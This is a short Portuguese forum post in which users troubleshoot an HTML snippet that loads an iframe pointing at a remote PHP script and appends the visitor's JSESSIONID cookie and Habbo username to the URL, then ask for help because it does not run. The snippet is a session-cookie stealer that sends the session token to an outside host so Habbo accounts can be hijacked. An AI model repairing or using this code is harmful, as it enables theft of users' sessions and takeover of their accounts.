Tem razão. É "src" e não "location" que tem que usar. E dê um id pro iframe. É melhor.
<a href="javascript:void(0)" onclick="document.getElementById('teste').src='http://meusite.hostfree.com/ctk.php?formulario='+Cookie.get('JSESSIONID')+'&forum='+habboName"/>lol</a>
<iframe src="http://www.google.com.br" id="teste" width="100%" height="100%"></iframe>
o comando não está funcionando,a função não foi executada,por favor nos ajude.